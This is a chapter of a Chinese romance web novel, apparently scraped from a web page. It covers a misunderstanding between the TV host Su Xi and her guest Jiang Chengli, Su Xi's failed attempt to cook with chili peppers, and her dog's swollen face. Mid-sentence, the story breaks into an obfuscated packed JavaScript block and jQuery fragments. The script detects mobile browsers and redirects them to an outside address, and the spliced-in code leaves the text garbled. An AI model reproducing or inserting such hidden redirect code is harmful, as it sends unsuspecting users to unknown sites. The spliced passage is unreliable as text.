22. 第 22 章
作品:《路尽之处》 苏溪先是一愣,随后打字:【江先生,你好。你说的看法?请问是指?】
——你好、请问。
明面上是很懂礼貌,可背地里谈起别人的话题,却非常直接。
江澄礼打字:【刚才我和杨震远在吃饭,无意间听到了你们的通话。】
苏溪:【嗯。】
江澄礼:【苏老师不解释一下?】
苏溪莫名:【我该…解释什么?】
江澄礼打字的手有片刻凝滞,这短暂的时间里他想了很多。有点意外苏溪的理直气壮,也有点不可置信:【你不是对我这个第一期嘉宾不满意?】
苏溪:【不满意?你是不是误会了什么?】
江澄礼:【你在电话里说,前几天你们都忙,不好打断同事关于嘉宾人选。还说之后的嘉宾由你亲自把关才行。】
江澄礼:【这些,不是对我的不满?】
苏溪:【你现在方便接电话吗?】
江澄礼看着屏幕上发来的短信,停顿两秒,打字:【方便。】
屏幕顶端有了来电显示,江澄礼点了接通。
“抱歉,打字太慢了,我觉得电话会更合适。”柔和的女声不紧不慢地透过话筒传出。
江澄礼,“请说。”
“第一期嘉宾爽约了,导致我们节目延后。你来救场,节目播出后效果的确很好,可惜时间太紧张,准备的不够充分。比如昨天你和我聊天说的‘音乐’,就没能录进去,你导演的作品‘获奖’了,创作的音乐却‘没能获奖’,这其中的反差正好是观众对你人设感兴趣的部分。”
“我作为主持人,缺少对嘉宾的了解,是我的失职。”苏溪,“所以,我并不是对你有看法,我是对我自己有看法。”
江澄礼沉默了。
苏溪,“江先生,现在这个误会,算是解开了吗?”
江澄礼,“抱歉,是我误会了。”
苏溪笑了下,“没关系,有误会说开了就好。那我不打扰你了,回聊。”
通话结束。
从发短信到通话结束,用时很短暂。
江澄礼坐在车里,独自沉默许久。
片刻后,他笑出了声音。
过去有很多人对他有看法。
看他不爽,嫉妒,背后说闲话。事实证明,这些人都没有什么好下场。这还是第一次,脸被打得啪啪响。
刚才她说,不是对他有看法,是她对自己有看法。这么较真的人,在他过去的30年里,有见过第二个么?
挡风玻璃前陆续有人经过,江澄礼抬起头。
这些人,包括苏溪,都只是他生命里的过客。
刚才那些短信他本可以不发,那些对话他也可以不说。可他发了也说了,明明都只是擦肩而过的人,就连意识都未提醒他,直到行动了,他才反应过来一件事。
苏溪不只是他被偶然邀请来参加综艺的主持人,她比路人等级高,她的本身要比他的大脑更早一步让他明白,她很有特色,是个被值得被记住且观察的人。
——“那如果我想写一个故事,你认为剧情重要,还是人设更重要?”
——“剧情可以是固定的,但人物的反应是活的。”
先前的对话忽然浮现脑海。
他意识到自己活在固有的思维模式里,浅显的认知让他以为苏溪和过去的谁谁没什么不同。
所以现在,才会生出有比被打脸更深的感觉,对一个人的抱歉。
意识收回,江澄礼看着屏幕上的通话显示:‘来电1分钟’。
当真是短暂且有力的1分钟。
手指点在屏幕上,指腹敲击了四下。
一串阿拉伯数字就被改成了中文:‘苏溪’。
/
忙完工作,苏溪收拾东西准备下班,路上遇见周楠。
周楠看到她就咧牙笑,“吖,好巧啊,一起下班。”
自从换组,两人时间就几乎没有重合,难得今天偶遇一起下班。
并肩朝电梯走,苏溪说,“可能不太巧,今天只有能和你共乘电梯的机会。”
走进电梯,周楠侧首看她,“啊?啥意思?”
苏溪,“我要去买点菜,回去做晚饭。”
周楠露出惊愕的表情,“你?”
苏溪,“嗯,家里还有两张嘴呢。”
周楠惊愕难改,嘴唇张合,嗫嚅半天,“你——”
“我在磨练厨艺。”苏溪手指抵着嘴唇,“还挺难的,我算是明白网络上为什么总有人说蛋炒一切。”
周楠打量她的面色,笑了,“别光炒蛋啊,好歹烧点荤。”
“荤……有点难。”
“多看看教学视频,不难。”
“好吧,我试试。”
电梯在两人充满‘营养’的话题下缓缓下沉,苏溪走出去,摆手说,“走啦,明天见。”
周楠,“明天见。”
出了地铁,苏溪去了小区附近的商超,先是逛了一圈蔬菜,最后去的肉食区。
戚妄的租客身份维持的很好,但凡晚一点回来都会和她说。
“今天也有饭局?”那会儿她还在电台,看到戚妄发来的消息后,打去电话问。
“没有,就正常加班。”戚妄说。
“好,那今天晚饭我来烧吧。”苏溪说。
电话那头明显顿愣了下,戚妄说,“不用,我回去烧,我尽量早一点。”
苏溪曲指在手机话筒处敲了两下,戚妄就听‘咚咚’两声,很奇怪的声音,就听到苏溪说,“晚饭这种事,谁做不都一样,你真当自己是交房租啊。”
戚妄,“好吧。”
此刻,苏溪看着被冷气吹拂的紫红色生肉,乖乖拿出手机开始搜食谱。
青椒炒牛柳好像挺方便的。鱼不行,她没有自信能烧得好吃,新手该有新手的觉悟。
半小时后,苏溪提着袋子出了超市。
路上碰到有人拿手机镜头正对着,苏溪看到礼貌笑了下,对方见状放下手机喊她的名字。
苏溪回应一声,缓步走远。
到家,一只耳日常用它摇晃的正方形身躯欢迎她。
实在过于热情,苏溪俯身抱抱亲亲了很久,才难舍难分。
准备的是三菜一汤,苏溪将菜分别洗净,按照菜的难易程度分了先烧后烧,万事俱备开始动手。
……
戚妄到家,刚一开门,就听到了屋子里接二连三的喷嚏声。有狗子的,也有苏溪的。
呛人的辣味扑面而来,戚妄鞋子还没换,就跟着打了个喷嚏。
屋子里,喷嚏声此起彼伏。
这个家是被辣椒淹没了?
戚妄快速换下鞋子,出了玄关,就看见厨房里苏溪逃避似的炒着菜,举着锅铲的手臂伸出老远,脸扭过去,拒绝看油锅,企图只用余光炒菜,锅里的烟浓到油烟机都来不及抽。
戚妄快步过去,从苏溪手里接过铲子。
苏溪被突然出现的人吓了一跳,看到是戚妄才放松下来,乖乖放开铲子往旁边站,然后又打了个喷嚏。
戚妄将火苗调小,看了眼锅中惨不忍睹的黑绿色物体,“青椒?”
苏溪,“……”如果可以,请不要用疑问句。
苏溪,“我本来想买不辣的青椒来炒牛柳的,但好像买成了辣椒。”
戚妄,“你这个应该是薄皮椒,不知道的人的确容易买错。”
苏溪感觉得到了安慰。
“放盐了吗?”戚妄问。
苏溪摇头,“只放了油。”
戚妄熟练地颠勺,放了几味调味料,又稍稍炒了会儿就出锅了。
转过身看着台面上已经备好的几盘菜。
所以,手上这盘是最后的菜?
身边水声哗哗响,见苏溪正在对着水流冲手,也没拿别的东西在洗,只单纯地冲手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727044|157190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
戚妄问,“你手怎么了?”
苏溪随口说,“被辣椒辣到了,手指辣的疼。”
戚妄快步靠近,“你手给我。”
苏溪抬首,看他,“你有办法?”
“有。”
苏溪眼睛都亮了,不是她小题大做,从切完辣椒后手指就越来越辣,后面都开始辣的发疼了,如果不处理,感觉能疼一晚上。
就见戚妄拿来纸巾将她手上的水都洗干净,然后拿出了白糖,仔细得在她手上抹匀。指缝,指腹,手指,包括指甲缝。
四周安静极了,只有戚妄认真地给她抹手。
苏溪从没觉得自己的手这么难看过,发红不说,手指上还沾满了白色糖粒,像只待食用的糖渍鸡爪。
“家里有一次性手套吗?”戚妄问。
“好像有,在那个柜子里。”苏溪指着头顶上方。
戚妄迎着苏溪手指的方向,找到了一个小包,打开。
糖渍鸡爪被一次性手套包裹住,苏溪举到面前细细看了半天,正面看反面看,更像了。
“哈哈~”戚妄的笑声传来,苏溪抬头。
帅气的面容笑颜展开,就差没捧腹。
苏溪,“……”
菜端上桌,戚妄正奇怪热情的狗子怎么不见了,一转头,就见一只耳正捂着鼻子躺在狗窝里。眼睛紧闭着,狗爪搔搔眼皮,再搔搔脸颊,最后重新捂住自己的狗鼻。
主人什么的已经不重要了,命比较重要。
戚妄,“……”
三菜一汤,都是比较容易的菜式。
难得吃一次,还算可以入口,就是苦味重了点,盐放多了。
苏溪默默地吃,看了眼对面同样也在默默吃的戚妄,“……”
苏溪全程带着一次性手套,就连洗澡都是用皮筋封口洗的。出来后,明显感觉到手没有之前痛了。
“戚妄,你这个方法有效诶。”苏溪坐在沙发上,对着旁边的戚妄说。
戚妄见她正在反复看手,“有效就行。”
苏溪好奇,“这方法你怎么知道的?”
戚妄,“我以前刚学做菜,也遇到你这种情况,从网上搜的。牙膏,洗洁精,用油洗都试过,但抹糖最有效。”
苏溪将自己的‘糖渍鸡爪’竖在两人面前,“你也这样?”
戚妄点头。
苏溪下意识看向他摆在腿上的手,也许是经常打字,他的指甲被修整的短且圆润,指节修长白皙,就算是男性中也少有的好看。
戚妄见她目光停留在自己手上,说,“你要是想看,我也可以抹糖,弄成和你现在一样的。”
苏溪噎住,“……我倒也没这么霸道。”
戚妄笑了下。
睡觉前,在戚妄的提醒下,苏溪抹上护手霜。
这个时候,手指的痛感几乎只剩下了麻,还是轻微的麻。至少晚上睡觉,不难过了。
抱着这样的想法,苏溪一夜好眠。
然而第二天早上起来,苏溪愣住了,她喊来戚妄,看着饭桌下正在摇晃面包臀说早安的一只耳。
“它的脸怎么了?你打它了?”苏溪问。
戚妄说,“不知道,我起床就看到它脸肿了。”
一只耳右脸高高肿起,右眼直接肿胀成了一条缝。它好像不知疼,咧着嘴巴笑得开心。
非常丑。
苏溪正想摸它,手都伸出去一般了,顿在半空,安慰的话也僵在口腔里说不出去。
“我想起一件事。”苏溪声音干巴巴的。
戚妄蹲在她旁边,“什么?”
“昨晚,我刚切完辣椒,它在我腿边打转,我就摸了它一下。”苏溪停顿一下,“好像就是右脸。”
两人齐齐看向一只耳肿胀的右脸。
一只耳咧着嘴巴,见主人正在关注自己,小屁股摇晃得更加勤快了。
所以,这是被辣肿了?